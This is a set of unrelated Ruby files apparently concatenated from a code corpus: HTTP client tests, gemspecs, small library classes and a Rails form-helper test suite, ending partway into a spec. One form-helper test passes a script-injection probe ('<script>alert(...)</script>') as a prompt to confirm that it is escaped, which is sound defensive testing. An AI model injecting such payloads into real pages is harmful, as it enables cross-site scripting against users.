io = Down::NetHttp.open("#{$httpbin}/basic-auth/user/password", http_basic_authentication: ["user", "password"])
assert_equal true, JSON.parse(io.read)["authenticated"]
end
it "detects and applies basic authentication from URL" do
io = Down::NetHttp.open("#{$httpbin.sub("http://", '\0user:password@')}/basic-auth/user/password")
assert_equal true, JSON.parse(io.read)["authenticated"]
end
it "applies default options" do
net_http = Down::NetHttp.new(headers: { "User-Agent" => "Janko" })
io = net_http.open("#{$httpbin}/user-agent")
assert_equal "Janko", JSON.parse(io.read)["user-agent"]
end
it "saves response data" do
io = Down::NetHttp.open("#{$httpbin}/response-headers?Key=Value")
assert_equal "Value", io.data[:headers]["Key"]
assert_equal 200, io.data[:status]
assert_kind_of Net::HTTPResponse, io.data[:response]
end
it "raises on HTTP error responses" do
error = assert_raises(Down::ClientError) { Down::NetHttp.open("#{$httpbin}/status/404") }
assert_equal "404 Not Found", error.message
assert_kind_of Net::HTTPResponse, error.response
error = assert_raises(Down::ServerError) { Down::NetHttp.open("#{$httpbin}/status/500") }
assert_equal "500 Internal Server Error", error.message
assert_kind_of Net::HTTPResponse, error.response
end
it "accepts non-escaped URLs" do
io = Down::NetHttp.open("#{$httpbin}/etag/foo bar")
assert_equal "foo bar", io.data[:headers]["Etag"]
end
it "accepts :uri_normalizer" do
assert_raises(Down::InvalidUrl) do
Down::NetHttp.open("#{$httpbin}/etag/foo bar", uri_normalizer: -> (uri) { uri })
end
end
it "raises on invalid URLs" do
assert_raises(Down::InvalidUrl) { Down::NetHttp.open("foo://example.org") }
end
it "raises on invalid redirect url" do
assert_raises(Down::ResponseError) { Down::NetHttp.open("#{$httpbin}/redirect-to?url=#{CGI.escape("ftp://localhost/file.txt")}") }
end
it "raises on connection errors" do
assert_raises(Down::ConnectionError) { Down::NetHttp.open("http://localhost:99999") }
end
it "raises on timeout errors" do
assert_raises(Down::TimeoutError) { Down::NetHttp.open("#{$httpbin}/delay/0.5", read_timeout: 0).read }
end
it "re-raises SSL errors" do
TCPSocket.expects(:open).raises(OpenSSL::SSL::SSLError)
assert_raises(Down::SSLError) { Down::NetHttp.open($httpbin) }
end
it "re-raises other exceptions" do
TCPSocket.expects(:open).raises(ArgumentError)
assert_raises(ArgumentError) { Down::NetHttp.open($httpbin) }
end
deprecated "accepts top-level request headers" do
io = Down::NetHttp.open("#{$httpbin}/headers", { "Key" => "Value" })
assert_equal "Value", JSON.parse(io.read)["headers"]["Key"]
io = Down::NetHttp.open("#{$httpbin}/headers", "Key" => "Value")
assert_equal "Value", JSON.parse(io.read)["headers"]["Key"]
net_http = Down::NetHttp.new({ "User-Agent" => "Janko" })
io = net_http.open("#{$httpbin}/user-agent")
assert_equal "Janko", JSON.parse(io.read)["user-agent"]
net_http = Down::NetHttp.new("User-Agent" => "Janko")
io = net_http.open("#{$httpbin}/user-agent")
assert_equal "Janko", JSON.parse(io.read)["user-agent"]
end
end
end
| 40.585683 | 179 | 0.661037 |
38da4d84f94860b57223561149c5e4e90f83d6ec | 954 | # A control used when no framework is detected.
# Looks for a newrelic.yml file in several locations
# including ./, ./config, $HOME/.newrelic and $HOME/.
# It loads the settings from the newrelic.yml section
# based on the value of RUBY_ENV or RAILS_ENV.
class NewRelic::Control::Ruby < NewRelic::Control
def env
@env ||= ENV['RUBY_ENV'] || ENV['RAILS_ENV'] || 'development'
end
def root
Dir['.']
end
# Check a sequence of file locations for newrelic.yml
def config_file
files = []
files << File.join(root,"config","newrelic.yml")
files << File.join(root,"newrelic.yml")
files << File.join(ENV["HOME"], ".newrelic", "newrelic.yml")
files << File.join(ENV["HOME"], "newrelic.yml")
files.each do | file |
return File.expand_path(file) if File.exists? file
end
return File.expand_path(files.first)
end
def to_stdout(msg)
STDOUT.puts msg
end
def init_config(options={})
end
end | 28.909091 | 65 | 0.665618 |
acde735ad58a8ab23a78e958da6d8c4741c80bc6 | 130 | $LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'i18n'
require 'active_support'
require 'i18n_backend_mongoid'
| 26 | 58 | 0.776923 |
e99e62443a6abb7cd97cdd5fdb3150c6a6b3b051 | 1,021 | #
# Be sure to run `pod spec lint CLKit.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
s.name = "KKNetworking"
s.version = "1.0.1"
s.summary = "网络请求封装"
s.description = <<-DESC
基于AFNetWorking的封装
DESC
s.homepage = "https://github.com/colaicode/CLNetworking"
s.license = { :type => "MIT", :file => "LICENSE" }
s.author = { "colaicode" => "[email protected]" }
s.platform = :ios, "8.0"
s.source = { :git => "https://github.com/colaicode/CLNetworking", :tag => "#{s.version}" }
s.source_files = "CLNetworking/CLNetworking/*.{h,m}"
s.public_header_files = "CLNetworking/CLNetworking/*.h"
s.requires_arc = true
s.dependency "AFNetworking", "~> 3.0"
end
| 31.90625 | 98 | 0.636631 |
18c739674ae967e7388ff33d88612a2f90aa8af0 | 23,644 | require 'abstract_unit'
class FormTagHelperTest < ActionView::TestCase
include RenderERBUtils
tests ActionView::Helpers::FormTagHelper
def setup
super
@controller = BasicController.new
end
def hidden_fields(options = {})
method = options[:method]
enforce_utf8 = options.fetch(:enforce_utf8, true)
''.tap do |txt|
if enforce_utf8
txt << %{<input name="utf8" type="hidden" value="✓" />}
end
if method && !%w(get post).include?(method.to_s)
txt << %{<input name="_method" type="hidden" value="#{method}" />}
end
end
end
def form_text(action = "http://www.example.com", options = {})
remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
method = method.to_s == "get" ? "get" : "post"
txt = %{<form accept-charset="UTF-8" action="#{action}"}
txt << %{ enctype="multipart/form-data"} if enctype
txt << %{ data-remote="true"} if remote
txt << %{ class="#{html_class}"} if html_class
txt << %{ id="#{id}"} if id
txt << %{ method="#{method}">}
end
def whole_form(action = "http://www.example.com", options = {})
out = form_text(action, options) + hidden_fields(options)
if block_given?
out << yield << "</form>"
end
out
end
def url_for(options)
if options.is_a?(Hash)
"http://www.example.com"
else
super
end
end
VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
def test_check_box_tag
actual = check_box_tag "admin"
expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
assert_dom_equal expected, actual
end
def test_check_box_tag_id_sanitized
label_elem = root_elem(check_box_tag("project[2][admin]"))
assert_match VALID_HTML_ID, label_elem['id']
end
def test_form_tag
actual = form_tag
expected = whole_form
assert_dom_equal expected, actual
end
def test_form_tag_multipart
actual = form_tag({}, { 'multipart' => true })
expected = whole_form("http://www.example.com", :enctype => true)
assert_dom_equal expected, actual
end
def test_form_tag_with_method_patch
actual = form_tag({}, { :method => :patch })
expected = whole_form("http://www.example.com", :method => :patch)
assert_dom_equal expected, actual
end
def test_form_tag_with_method_put
actual = form_tag({}, { :method => :put })
expected = whole_form("http://www.example.com", :method => :put)
assert_dom_equal expected, actual
end
def test_form_tag_with_method_delete
actual = form_tag({}, { :method => :delete })
expected = whole_form("http://www.example.com", :method => :delete)
assert_dom_equal expected, actual
end
def test_form_tag_with_remote
actual = form_tag({}, :remote => true)
expected = whole_form("http://www.example.com", :remote => true)
assert_dom_equal expected, actual
end
def test_form_tag_with_remote_false
actual = form_tag({}, :remote => false)
expected = whole_form
assert_dom_equal expected, actual
end
def test_form_tag_enforce_utf8_true
actual = form_tag({}, { :enforce_utf8 => true })
expected = whole_form("http://www.example.com", :enforce_utf8 => true)
assert_dom_equal expected, actual
assert actual.html_safe?
end
def test_form_tag_enforce_utf8_false
actual = form_tag({}, { :enforce_utf8 => false })
expected = whole_form("http://www.example.com", :enforce_utf8 => false)
assert_dom_equal expected, actual
assert actual.html_safe?
end
def test_form_tag_with_block_in_erb
output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
expected = whole_form { "Hello world!" }
assert_dom_equal expected, output_buffer
end
def test_form_tag_with_block_and_method_in_erb
output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
expected = whole_form("http://www.example.com", :method => "put") do
"Hello world!"
end
assert_dom_equal expected, output_buffer
end
def test_hidden_field_tag
actual = hidden_field_tag "id", 3
expected = %(<input id="id" name="id" type="hidden" value="3" />)
assert_dom_equal expected, actual
end
def test_hidden_field_tag_id_sanitized
input_elem = root_elem(hidden_field_tag("item[][title]"))
assert_match VALID_HTML_ID, input_elem['id']
end
def test_file_field_tag
assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
end
def test_file_field_tag_with_options
assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
end
def test_password_field_tag
actual = password_field_tag
expected = %(<input id="password" name="password" type="password" />)
assert_dom_equal expected, actual
end
def test_radio_button_tag
actual = radio_button_tag "people", "david"
expected = %(<input id="people_david" name="people" type="radio" value="david" />)
assert_dom_equal expected, actual
actual = radio_button_tag("num_people", 5)
expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
assert_dom_equal expected, actual
actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
assert_dom_equal expected, actual
actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
assert_dom_equal expected, actual
actual = radio_button_tag("person[gender]", "m")
expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
assert_dom_equal expected, actual
actual = radio_button_tag('ctrlname', 'apache2.2')
expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
assert_dom_equal expected, actual
end
def test_select_tag
actual = select_tag "people", "<option>david</option>".html_safe
expected = %(<select id="people" name="people"><option>david</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_with_multiple
actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_disabled
actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_id_sanitized
input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
assert_match VALID_HTML_ID, input_elem['id']
end
def test_select_tag_with_include_blank
actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true
expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_with_prompt
actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_escapes_prompt
actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
expected = %(<select id="places" name="places"><option value=""><script>alert(1337)</script></option><option>Home</option><option>Work</option><option>Pub</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_with_prompt_and_include_blank
actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_with_nil_option_tags_and_include_blank
actual = select_tag "places", nil, :include_blank => true
expected = %(<select id="places" name="places"><option value=""></option></select>)
assert_dom_equal expected, actual
end
def test_select_tag_with_nil_option_tags_and_prompt
actual = select_tag "places", nil, :prompt => "string"
expected = %(<select id="places" name="places"><option value="">string</option></select>)
assert_dom_equal expected, actual
end
def test_text_area_tag_size_string
actual = text_area_tag "body", "hello world", "size" => "20x40"
expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
assert_dom_equal expected, actual
end
def test_text_area_tag_size_symbol
actual = text_area_tag "body", "hello world", :size => "20x40"
expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
assert_dom_equal expected, actual
end
def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
actual = text_area_tag "body", "hello world", :size => 20
expected = %(<textarea id="body" name="body">\nhello world</textarea>)
assert_dom_equal expected, actual
end
def test_text_area_tag_id_sanitized
input_elem = root_elem(text_area_tag("item[][description]"))
assert_match VALID_HTML_ID, input_elem['id']
end
def test_text_area_tag_escape_content
actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
assert_dom_equal expected, actual
end
def test_text_area_tag_unescaped_content
actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
assert_dom_equal expected, actual
end
def test_text_area_tag_unescaped_nil_content
actual = text_area_tag "body", nil, :escape => false
expected = %(<textarea id="body" name="body">\n</textarea>)
assert_dom_equal expected, actual
end
def test_text_field_tag
actual = text_field_tag "title", "Hello!"
expected = %(<input id="title" name="title" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_class_string
actual = text_field_tag "title", "Hello!", "class" => "admin"
expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_size_symbol
actual = text_field_tag "title", "Hello!", :size => 75
expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_size_string
actual = text_field_tag "title", "Hello!", "size" => "75"
expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_maxlength_symbol
actual = text_field_tag "title", "Hello!", :maxlength => 75
expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_maxlength_string
actual = text_field_tag "title", "Hello!", "maxlength" => "75"
expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_disabled
actual = text_field_tag "title", "Hello!", :disabled => :true
expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_with_multiple_options
actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_text_field_tag_id_sanitized
input_elem = root_elem(text_field_tag("item[][title]"))
assert_match VALID_HTML_ID, input_elem['id']
end
def test_label_tag_without_text
actual = label_tag "title"
expected = %(<label for="title">Title</label>)
assert_dom_equal expected, actual
end
def test_label_tag_with_symbol
actual = label_tag :title
expected = %(<label for="title">Title</label>)
assert_dom_equal expected, actual
end
def test_label_tag_with_text
actual = label_tag "title", "My Title"
expected = %(<label for="title">My Title</label>)
assert_dom_equal expected, actual
end
def test_label_tag_class_string
actual = label_tag "title", "My Title", "class" => "small_label"
expected = %(<label for="title" class="small_label">My Title</label>)
assert_dom_equal expected, actual
end
def test_label_tag_id_sanitized
label_elem = root_elem(label_tag("item[title]"))
assert_match VALID_HTML_ID, label_elem['for']
end
def test_label_tag_with_block
assert_dom_equal('<label>Blocked</label>', label_tag { "Blocked" })
end
def test_label_tag_with_block_and_argument
output = label_tag("clock") { "Grandfather" }
assert_dom_equal('<label for="clock">Grandfather</label>', output)
end
def test_label_tag_with_block_and_argument_and_options
output = label_tag("clock", :id => "label_clock") { "Grandfather" }
assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
end
def test_boolean_options
assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
end
def test_stringify_symbol_keys
actual = text_field_tag "title", "Hello!", :id => "admin"
expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
assert_dom_equal expected, actual
end
def test_submit_tag
assert_dom_equal(
%(<input name='commit' data-disable-with="Saving..." onclick="alert('hello!')" type="submit" value="Save" />),
submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
)
end
def test_submit_tag_with_no_onclick_options
assert_dom_equal(
%(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
submit_tag("Save", :data => { :disable_with => "Saving..." })
)
end
def test_submit_tag_with_confirmation
assert_dom_equal(
%(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
submit_tag("Save", :data => { :confirm => "Are you sure?" })
)
end
def test_button_tag
assert_dom_equal(
%(<button name="button" type="submit">Button</button>),
button_tag
)
end
def test_button_tag_with_submit_type
assert_dom_equal(
%(<button name="button" type="submit">Save</button>),
button_tag("Save", :type => "submit")
)
end
def test_button_tag_with_button_type
assert_dom_equal(
%(<button name="button" type="button">Button</button>),
button_tag("Button", :type => "button")
)
end
def test_button_tag_with_reset_type
assert_dom_equal(
%(<button name="button" type="reset">Reset</button>),
button_tag("Reset", :type => "reset")
)
end
def test_button_tag_with_disabled_option
assert_dom_equal(
%(<button name="button" type="reset" disabled="disabled">Reset</button>),
button_tag("Reset", :type => "reset", :disabled => true)
)
end
def test_button_tag_escape_content
assert_dom_equal(
%(<button name="button" type="reset" disabled="disabled"><b>Reset</b></button>),
button_tag("<b>Reset</b>", :type => "reset", :disabled => true)
)
end
def test_button_tag_with_block
assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { 'Content' })
end
def test_button_tag_with_block_and_options
output = button_tag(:name => 'temptation', :type => 'button') { content_tag(:strong, 'Do not press me') }
assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
end
def test_button_tag_defaults_with_block_and_options
output = button_tag(:name => 'temptation', :value => 'within') { content_tag(:strong, 'Do not press me') }
assert_dom_equal('<button name="temptation" value="within" type="submit" ><strong>Do not press me</strong></button>', output)
end
def test_button_tag_with_confirmation
assert_dom_equal(
%(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
)
end
def test_image_submit_tag_with_confirmation
assert_dom_equal(
%(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
)
end
def test_color_field_tag
expected = %{<input id="car" name="car" type="color" />}
assert_dom_equal(expected, color_field_tag("car"))
end
def test_search_field_tag
expected = %{<input id="query" name="query" type="search" />}
assert_dom_equal(expected, search_field_tag("query"))
end
def test_telephone_field_tag
expected = %{<input id="cell" name="cell" type="tel" />}
assert_dom_equal(expected, telephone_field_tag("cell"))
end
def test_date_field_tag
expected = %{<input id="cell" name="cell" type="date" />}
assert_dom_equal(expected, date_field_tag("cell"))
end
def test_time_field_tag
expected = %{<input id="cell" name="cell" type="time" />}
assert_dom_equal(expected, time_field_tag("cell"))
end
def test_datetime_field_tag
expected = %{<input id="appointment" name="appointment" type="datetime" />}
assert_dom_equal(expected, datetime_field_tag("appointment"))
end
def test_datetime_local_field_tag
expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
assert_dom_equal(expected, datetime_local_field_tag("appointment"))
end
def test_month_field_tag
expected = %{<input id="birthday" name="birthday" type="month" />}
assert_dom_equal(expected, month_field_tag("birthday"))
end
def test_week_field_tag
expected = %{<input id="birthday" name="birthday" type="week" />}
assert_dom_equal(expected, week_field_tag("birthday"))
end
def test_url_field_tag
expected = %{<input id="homepage" name="homepage" type="url" />}
assert_dom_equal(expected, url_field_tag("homepage"))
end
def test_email_field_tag
expected = %{<input id="address" name="address" type="email" />}
assert_dom_equal(expected, email_field_tag("address"))
end
def test_number_field_tag
expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
assert_dom_equal(expected, number_field_tag("quantity", nil, :in => 1...10))
end
def test_range_input_tag
expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
end
def test_field_set_tag_in_erb
output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
expected = %(<fieldset>Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
expected = %(<fieldset>Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
expected = %(<fieldset class="format">Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
output_buffer = render_erb("<%= field_set_tag %>")
expected = %(<fieldset></fieldset>)
assert_dom_equal expected, output_buffer
output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
expected = %(<fieldset><legend>You legend!</legend></fieldset>)
assert_dom_equal expected, output_buffer
end
def test_text_area_tag_options_symbolize_keys_side_effects
options = { :option => "random_option" }
text_area_tag "body", "hello world", options
assert_equal options, { :option => "random_option" }
end
def test_submit_tag_options_symbolize_keys_side_effects
options = { :option => "random_option" }
submit_tag "submit value", options
assert_equal options, { :option => "random_option" }
end
def test_button_tag_options_symbolize_keys_side_effects
options = { :option => "random_option" }
button_tag "button value", options
assert_equal options, { :option => "random_option" }
end
def test_image_submit_tag_options_symbolize_keys_side_effects
options = { :option => "random_option" }
image_submit_tag "submit source", options
assert_equal options, { :option => "random_option" }
end
def test_image_label_tag_options_symbolize_keys_side_effects
options = { :option => "random_option" }
label_tag "submit source", "title", options
assert_equal options, { :option => "random_option" }
end
def protect_against_forgery?
false
end
private
def root_elem(rendered_content)
HTML::Document.new(rendered_content).root.children[0]
end
end
| 37.059561 | 214 | 0.687828 |
e8e4905796293df99eb21d721dedbe80835d282a | 1,974 | # coding: utf-8
# frozen_string_literal: true
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'dato/version'
Gem::Specification.new do |spec|
spec.name = 'dato'
spec.version = Dato::VERSION
spec.authors = ['Stefano Verna']
spec.email = ['[email protected]']
spec.summary = 'Ruby client for DatoCMS API'
spec.description = 'Ruby client for DatoCMS API'
spec.homepage = 'https://github.com/datocms/ruby-datocms-client'
spec.license = 'MIT'
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|build|spec|features)/}) }
spec.bindir = 'exe'
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler'
spec.add_development_dependency 'rake'
spec.add_development_dependency 'rspec'
spec.add_development_dependency 'rubyzip'
spec.add_development_dependency 'simplecov', '~> 0.17.0'
spec.add_development_dependency 'vcr'
spec.add_development_dependency 'webmock'
spec.add_development_dependency 'rubocop'
spec.add_development_dependency 'coveralls'
spec.add_development_dependency 'pry'
spec.add_development_dependency 'pry-byebug'
spec.add_development_dependency 'front_matter_parser'
spec.add_runtime_dependency 'faraday', ['>= 0.9.0']
spec.add_runtime_dependency 'faraday_middleware', ['>= 0.9.0']
spec.add_runtime_dependency 'activesupport', ['>= 4.2.7']
spec.add_runtime_dependency 'addressable'
spec.add_runtime_dependency 'thor'
spec.add_runtime_dependency 'imgix', ['~> 4']
spec.add_runtime_dependency 'toml'
spec.add_runtime_dependency 'cacert'
spec.add_runtime_dependency 'dotenv'
spec.add_runtime_dependency 'pusher-client'
spec.add_runtime_dependency 'listen'
spec.add_runtime_dependency 'dato_json_schema'
spec.add_runtime_dependency 'mime-types'
end
| 39.48 | 110 | 0.729483 |
f7521ff2e43a872f4f19f92d124b28a06de651f9 | 718 | cask 'font-monoid-halfloose-small-dollar-1' do
version :latest
sha256 :no_check
# github.com/larsenwork/monoid was verified as official when first introduced to the cask
url 'https://github.com/larsenwork/monoid/blob/release/Monoid-HalfLoose-Small-Dollar-1.zip?raw=true'
name 'Monoid-HalfLoose-Small-Dollar-1'
homepage 'http://larsenwork.com/monoid/'
font 'Monoid-Bold-HalfLoose-Small-Dollar-1.ttf'
font 'Monoid-Italic-HalfLoose-Small-Dollar-1.ttf'
font 'Monoid-Regular-HalfLoose-Small-Dollar-1.ttf'
font 'Monoid-Retina-HalfLoose-Small-Dollar-1.ttf'
caveats <<~EOS
#{token} is dual licensed with MIT and OFL licenses.
https://github.com/larsenwork/monoid/tree/master#license
EOS
end
| 35.9 | 102 | 0.756267 |
4ac1c8bd13cd97c2b402a147c7f160388b7c7b7c | 1,546 | describe UseCase::SearchAddressesByPostcode, set_with_timecop: true do
include RSpecRegisterApiServiceMixin
subject(:use_case) { described_class.new }
context "when arguments include non token characters" do
before do
scheme_id = add_scheme_and_get_id
add_assessor(
scheme_id:,
assessor_id: "SPEC000000",
body: AssessorStub.new.fetch_request_body(
non_domestic_nos3: "ACTIVE",
non_domestic_nos4: "ACTIVE",
non_domestic_nos5: "ACTIVE",
non_domestic_dec: "ACTIVE",
domestic_rd_sap: "ACTIVE",
domestic_sap: "ACTIVE",
non_domestic_sp3: "ACTIVE",
non_domestic_cc4: "ACTIVE",
gda: "ACTIVE",
),
)
assessment = Nokogiri.XML Samples.xml "RdSAP-Schema-20.0.0"
lodge_assessment(
assessment_body: assessment.to_xml,
accepted_responses: [201],
auth_data: {
scheme_ids: [scheme_id],
},
ensure_uprns: false,
)
insert_into_address_base("000000000000", "A0 0AA", "1 Some Street", "", "Whitbury")
end
it "returns only one address for the relevant property" do
result = use_case.execute(postcode: "A0 0AA", building_name_number: "1():*!&\\")
expect(result.length).to eq(1)
expect(result.first.address_id).to eq("UPRN-000000000000")
expect(result.first.line1).to eq("1 Some Street")
expect(result.first.town).to eq("Whitbury")
expect(result.first.postcode).to eq("A0 0AA")
end
end
end
| 30.92 | 89 | 0.636481 |
1a053dae7d3dbe98c2fa3413e6ee6adb4104030c | 805 | module Smartfocus
# Relation is used for API-chained call
#
# e.g. emv.get.campaign.last(:limit => 5).call
#
class Relation
def initialize(instance, request)
@instance = instance
@request = request
@uri = []
@options = {}
end
# Trigger the API call
#
# @param [Object] parameters
# @return [Object] data returned from Smartfocus
#
def call(*args)
@options.merge! extract_args(args)
@request.prepare(@uri.join('/'), @options)
@instance.call(@request)
end
def method_missing(method, *args)
@uri << method.to_s.camelize(:lower)
@options.merge! extract_args(args)
self
end
private
def extract_args(args)
(args[0] and args[0].kind_of? Hash) ? args[0] : {}
end
end
end | 20.125 | 56 | 0.593789 |
266dc74728e022302d3444b3d5b545473de78ab0 | 108 | namespace :db do
desc "Fires up a Pry console"
task console: :environment do
binding.pry
end
end
| 13.5 | 31 | 0.694444 |
bf2dbeadb6f035e6b082699c12e7db6bbd43da51 | 481 | # encoding: utf-8
# frozen_string_literal: true
module Crunchbase::Model
class Organization < Base
endpoint 'organizations'
relations %w(primary_image founders featured_team current_team past_team board_members_and_advisors
investors owned_by sub_organizations headquarters offices categories
funding_rounds investments acquisitions acquired_by
ipo funds websites images news)
def date_keys
%w(founded_on closed_on)
end
end
end
| 26.722222 | 103 | 0.767152 |
bb4f4b4531def504419bf510cd72c8e9ddf33339 | 471 | module Pod
module Generator
class BridgeSupport
extend Executable
executable :gen_bridge_metadata
attr_reader :headers
def initialize(headers)
@headers = headers
end
def search_paths
@headers.map { |header| "-I '#{header.dirname}'" }.uniq
end
def save_as(pathname)
gen_bridge_metadata %(-c "#{search_paths.join(' ')}" -o '#{pathname}' '#{headers.join("' '")}')
end
end
end
end
| 20.478261 | 103 | 0.59448 |
39b912c3358be99eff22d04c3c806ff56db063be | 981 | require 'faraday'
require 'faraday_middleware'
module IssueGraph
module Connection
END_POINT = 'https://api.zenhub.io'.freeze
def get(path)
response = api_connection.get(path)
if response.status != 200
p response
raise "GET #{path} failed: #{response.reason_phrase}"
end
return response.body
end
private
def api_connection
@api_connection ||= Faraday::Connection.new(END_POINT, connect_options)
end
def connect_options
@connect_options ||= {
builder: middleware,
headers: {
accept: 'application/json',
user_agent: "IssueGraph v#{VERSION}",
x_authentication_token: zenhub_access_token
}
}
end
def middleware
@middleware ||= Faraday::RackBuilder.new do |builder|
builder.request :url_encoded
builder.adapter :net_http
builder.response :json, content_type: /\bjson$/
end
end
end
end
| 21.8 | 78 | 0.626911 |
1a44641af188dc475be64d79535d3ea4a14d7004 | 7,697 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Vulnerabilities::Feedback do
it {
is_expected.to(
define_enum_for(:feedback_type)
